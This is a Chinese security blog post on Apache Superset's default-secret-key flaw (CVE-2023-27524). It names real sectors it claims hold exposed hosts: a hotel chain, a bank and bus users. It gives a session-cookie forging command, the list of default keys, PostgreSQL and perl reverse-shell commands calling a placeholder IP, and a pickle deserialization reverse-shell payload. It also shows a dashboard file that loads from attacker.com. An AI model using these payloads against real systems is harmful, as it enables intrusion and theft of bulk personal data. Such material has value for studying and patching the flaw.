前言
4.25日Naveen Sunkavally 发布了CVE-2023-27524 superset 默认key的漏洞。可以使用flask_unsign 构建cookies,登录系统。
superset 是一款BI系统,主要用在各种版本数据库管理中,一旦控制,影响将是全量数据,该漏洞的影响之大,并没有引起很大重视,笔者对全网存在弱点的主机进行了清点。
疑似存在漏洞主机
某上市酒店1.5亿会员数据,跟住宿数据。
全国公交用户数据
某为的代理商统计指数
某银行用户行为数据
某证券指数分析数据
存在漏洞网站分布图(来源tw)
漏洞利用方式
cookies构造使用方法:
flask-unsign 是一个 Python 库,用于从 Flask session cookie 中加密和解密数据
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
作者同时提供了测试工具
https://github.com/horizon3ai/CVE-2023-27524
nuclei同时更新了模块
作者RCE截图
作者在文中提出了二处RCE,并且截图。但是没有说出具体位置。
笔者大概能猜测出RCE分别位于数据库,一个位于本地程序。
笔者通过作者截图,对几处地方进行了猜想
数据库反弹shell
进行数据库执行反弹shell并没有什么诡异的地方。
只需根据连接池数据库属性进行执行,突破数据库的防护并调用指定函数即可。
因此,mssql、mysql、postgres、oracle等数据库都可以执行此类命令,反弹shell。
可以控制存在连接的数据库容器,但在实际场景中,需要解决的问题可能是数据库出网的问题。
具体步骤:
登录后,点击sql 选择sqllite, 列表中有已经进行链接的连接池,
select pg_read_file('/etc/passwd'); 利用postgres数据库读取文件(低版本)。
使用bash反弹
CREATE TABLE dump (t TEXT);
insert into dump values ('bash -i >& /dev/tcp/xxxx.xxx.xxx.xxx/8080 0>&1');
COPY dump TO '/tmp/s.sh';
TRUNCATE table cmd_exec;
COPY cmd_exec FROM PROGRAM 'chmod +x /tmp/s.sh';
SELECT * from cmd_exec;
TRUNCATE table cmd_exec;
COPY cmd_exec FROM PROGRAM 'bash -c "bash /tmp/s.sh"';
SELECT * from cmd_exec;
TRUNCATE table cmd_exec;
COPY cmd_exec FROM PROGRAM 'bash /tmp/s.sh';
SELECT * from cmd_exec;
TRUNCATE table cmd_exec; COPY cmd_exec FROM PROGRAM 'perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"xxxxxxxx.xxx.xx.xx:9001");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''; SELECT * from cmd_exec;
执行后查看结果:
网站程序的RCE的几处
笔者搭建apache superset,对大概地方进行了黑盒测试。
笔者第一个想到的地方是pickle反序列
Pickle反序列
相关文章:
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
首先自己构造pickle的
import pickle
import base64
import os
class RCE:
def **reduce**(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
'/bin/sh -i 2>&1 | nc xx.xx.xx.xx 444 > /tmp/f')
return os.system, (cmd,)
if **name** == '**main**':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
python 3 之后需要dump,生成文件。superset在解析文件的地方使用。
import pickle
myIP = 'xx.xx.xx.xx'
myPort = '444'
payload = "rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe".format(myIP, myPort)
with open('evil.pickle', 'wb') as f:
pickle.dump(payload, f)
文件内容为二进制内容。
翻看历史漏洞记录CVE-ID: CVE-2018-8021,找到18年的一个RCE,存在漏洞版本<=0.0.38
https://www.exploit-db.com/exploits/45933
看到也是利用pickle.
导入点:superset/import_dashboards
import pickle# Change these values to your TCP listenermyIP = 'xx.xx.xx.xx'myPort = '444'# Generate reverse shell payloadpayload = "rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe".format(myIP, myPort)# Dump payload to pickle filewith open('evil.pickle', 'wb') as f: pickle.dump(payload, f)
Jinja2模板RCE
用Python的Jinja2模板引擎执行任意命令的尝试
沙盒处理
跟着RCE去跟踪,发现了github的改动,大概就明白执行点在哪里了。
调用了模板变量uuid.可以访问Os .执行命令。os.popen
还有几个存在问题的点。都是在导入的地方。如:
dashboard.json的恶意配置文件
"css": ".malicious-class{background-image:url('http://attacker.com/malicious-image.jpg');}",
加入攻击代码
在导入的地方基本触发条件还是比较多。
b'x02x01thisismyscretkeyx01x02\e\y\y\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET', # docker compose
b'USE_YOUR_OWN_SECURE_RANDOM_KEY',
b'your_secret_key_here'
如果你喜欢巫巫的原创文章,推荐加入巫巫的社群(72小时内可申请退款)。
▎ 我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。
▎ 很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!
▎ 后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。
▎ 星球里将提供:
1.高纬度的网络安全思维模式
2.SRC漏洞挖掘、CTF靶机攻克、企业安全建设、网络边界安全、GAN网络、web3.0安全、企业安全运营、打击涉网犯罪等行业全知识面覆盖
3.高质量的问题交流、导师级顾问服务
合抱之木,生于毫末。
九层之台,起于累土。
每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。
感谢您一直以来的支持和关注!
从Prompt注入到命令执行:探究LLM大型语言模型中 OpenAI的风险点
如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】
防范虚拟货币钱包盗窃:揭秘非Approve的新型盗U诈骗手段(终极版)
【欺负老实人】在chatgpt Prompt中注入攻击代码,截取跟踪用户信息,钓鱼XSS。
我使用ChatGPT审计代码发现了200多个安全漏洞(GPT-4与GPT-3对比报告)
原文始发于微信公众号(安全女巫):隐藏的危险:Apache Superset三个RCE漏洞浅析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论